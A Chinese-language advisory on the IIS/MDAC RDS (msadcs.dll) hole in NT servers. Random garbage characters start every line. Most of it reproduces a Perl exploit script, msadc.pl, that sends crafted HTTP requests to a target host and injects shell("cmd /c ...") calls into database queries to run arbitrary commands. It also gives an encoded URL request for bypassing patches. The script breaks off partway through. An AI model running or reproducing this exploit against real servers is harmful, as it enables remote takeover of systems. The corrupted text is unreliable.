IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
F\)?Ntj)>@ h)~i?bq!/ 涉及程序:
H
N )@sLPc Microsoft NT server
7uI~Xo?N y}.?`/Q# 描述:
zfm-vU 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
t,v=~LE ?'jRUf l 详细:
s)eU^4m 如果你没有时间读详细内容的话,就删除:
n
_H]*~4F c:\Program Files\Common Files\System\Msadc\msadcs.dll
oMw#ROsvC 有关的安全问题就没有了。
hFiJHV lk(q>dv K 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
mO?yrM * saPg2N, 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
f ^vz 关于利用ODBC远程漏洞的描述,请参看:
Bh%Yu*.f ah8xiABa http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm d i;Fj HW"';M% 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
u3VSS4RG% http://www.microsoft.com/security/bulletins/MS99-025faq.asp 2Nau]y]= :JI&ngWK 这里不再论述。
fRow@DI\ i& phko} 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
1dE|q{ xnp5XhU /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
kX1#+X 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
}Q<cE$c q_GO;-b{ #[<XNs!" #将下面这段保存为txt文件,然后: "perl -x 文件名"
:wcv,YoSG /,`40^U} #!perl
$I$ B8 #
V`,tu `6 # MSADC/RDS 'usage' (aka exploit) script
9Q. }jV #
)e|n7|} $ # by rain.forest.puppy
w~lxWgaY7 #
aR@s.
ll # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
1|Q-|jq` # beta test and find errors!
$!m (S&f Eg/=VBtc use Socket; use Getopt::Std;
9Z_!}eY2mc getopts("e:vd:h:XR", \%args);
wV&UB@ dJYW8pcKT print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
{] Zet}2 %
a9C]? if (!defined $args{h} && !defined $args{R}) {
Mu>WS)1lS print qq~
2 yY.rs Usage: msadc.pl -h <host> { -d <delay> -X -v }
0;6^fiSY; -h <host> = host you want to scan (ip or domain)
N
Dg*8i -d <seconds> = delay between calls, default 1 second
QV_e6r1t#m -X = dump Index Server path table, if available
C3#mmiL- -v = verbose
qe@ctHpn -e = external dictionary file for step 5
7G 3*@cl K[G=J Or a -R will resume a command session
rO;Vr},3\% .~L^h/)Gjy ~; exit;}
'UN
'gXny 08pG)_L $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
+o*&JoC if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
~a
RK=i$F if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
&nXa/XIZ_ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
C EMe2~ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Ga9^+.j if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
LNU#NJ^Axt u&7c2|Q if (!defined $args{R}){ $ret = &has_msadc;
ML= :&M!ao die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
OqW (C d7)EzW|I; print "Please type the NT commandline you want to run (cmd /c assumed):\n"
jykY8;4 . "cmd /c ";
8t$w/#'@ $in=<STDIN>; chomp $in;
~6HaZlBB $command="cmd /c " . $in ;
to%n2^^K y G{;kJ P if (defined $args{R}) {&load; exit;}
!JOM+P: x[w!buV0\ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
g~Hmka_fD1 &try_btcustmr;
sm1(I7y ^@a|s
Sb print "\nStep 2: Trying to make our own DSN...";
XSDudL &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
x8v2mnk Qjl.O HO print "\nStep 3: Trying known DSNs...";
]DV=/RpJ9B &known_dsn;
+:#x!i;W8[ aIsT"6A~{ print "\nStep 4: Trying known .mdbs...";
D)my@W0, &known_mdb;
}X;LR\^u[f YlP8fxS if (defined $args{e}){
}0(.HMiGj print "\nStep 5: Trying dictionary of DSN names...";
h,u?3}Knnb &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
zwEZ?m! \A'tV/YAd print "Sorry Charley...maybe next time?\n";
D$OUy}[2`. exit;
8E:d!?<^&I n\x@~ SzrX ##############################################################################
JF%_8Ye5 M6mJ'Q482 sub sendraw { # ripped and modded from whisker
l^,"^vz sleep($delay); # it's a DoS on the server! At least on mine...
W.O]f.h my ($pstr)=@_;
fkjo socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
*>%tx k:) die("Socket problems\n");
O,+ZD^ if(connect(S,pack "SnA4x8",2,80,$target)){
m0(]%Kdw select(S); $|=1;
}wkZ\q[ print $pstr; my @in=<S>;
@$bEY#*C select(STDOUT); close(S);
,^#{k!uaC{ return @in;
74u_YA<" } else { die("Can't connect...\n"); }}
)kl(}.9X
sBuOKT/j ##############################################################################
&qO#EEqG] *53@%9 {u sub make_header { # make the HTTP request
/ivA[LSS my $msadc=<<EOT
S~+er{,ht4 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
BWHH:cX User-Agent: ACTIVEDATA
?-HLP%C(' Host: $ip
$QB~ x{v@n Content-Length: $clen
`[=3_ Connection: Keep-Alive
+YA,HhX9 zP(UaSXz/ ADCClientVersion:01.06
F4|Z:e,Hr Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
v.~uJ.T j$u=7Z&E --!ADM!ROX!YOUR!WORLD!
6bXP{,}Gp Content-Type: application/x-varg
TjswB# Content-Length: $reqlen
n( } zq
XX:?7:j}[8 EOT
*Mg. *N ; $msadc=~s/\n/\r\n/g;
[Jjb<6[o
return $msadc;}
;94e )A6 eD ##############################################################################
|8:IH@K* |'R^\M Q sub make_req { # make the RDS request
6|O2i j-J my ($switch, $p1, $p2)=@_;
zx7g5;J my $req=""; my $t1, $t2, $query, $dsn;
#Xa TUT (Q /Kp*a if ($switch==1){ # this is the btcustmr.mdb query
$0OWPC1 $query="Select * from Customers where City=" . make_shell();
ER ^#J** $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
X-$\DXRIo $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
M~uX!bDH ?;dfA/ elsif ($switch==2){ # this is general make table query
jwe^(U $query="create table AZZ (B int, C varchar(10))";
tU :,s^E"# $dsn="$p1";}
fZH";_"1 "yo~;[ elsif ($switch==3){ # this is general exploit table query
(r ]3tGp $query="select * from AZZ where C=" . make_shell();
_K#LOSMfj/ $dsn="$p1";}
:nPLQqXGQ pg4J)<t# elsif ($switch==4){ # attempt to hork file info from index server
X^!1MpEQ $query="select path from scope()";
{#]vvO2~$ $dsn="Provider=MSIDXS;";}
I5$@1+B r{Cbx#; elsif ($switch==5){ # bad query
;Ww s;.~ $query="select";
F.%g_Xvk: $dsn="$p1";}
=%\y E0# l1utk8'- $t1= make_unicode($query);
:4(.S<fH)- $t2= make_unicode($dsn);
uoIvFcb^ $req = "\x02\x00\x03\x00";
'0juZ~>} $req.= "\x08\x00" . pack ("S1", length($t1));
TO|&}sDh $req.= "\x00\x00" . $t1 ;
u0M? l $req.= "\x08\x00" . pack ("S1", length($t2));
GF3"$?Cw $req.= "\x00\x00" . $t2 ;
vp>,}nx4 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
g3`:d)| return $req;}
4.^1D';( D@]*{WO ##############################################################################
iO 9fg fF"\$Ny sub make_shell { # this makes the shell() statement
j%V95M%$ return "'|shell(\"$command\")|'";}
Gh:hfHiG r@XH=[: ##############################################################################
?<l,a!V'6 z'(][SB sub make_unicode { # quick little function to convert to unicode
J!5>8I(_wX my ($in)=@_; my $out;
)0Lno|l for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
^Iz(V2 return $out;}
x2KIGG^ ;Rz+4< ##############################################################################
ZMI!Sl 9AxeA2/X sub rdo_success { # checks for RDO return success (this is kludge)
EzXGb my (@in) = @_; my $base=content_start(@in);
)225ee> if($in[$base]=~/multipart\/mixed/){
<H,q( :pM return 1 if( $in[$base+10]=~/^\x09\x00/ );}
^zv,VD return 0;}
.+'`A"$8 ];vEj*jCX ##############################################################################
c5 ($*tTT has \W\( sub make_dsn { # this makes a DSN for us
T"NDL[* my @drives=("c","d","e","f");
{} #W~1` print "\nMaking DSN: ";
+].Zs<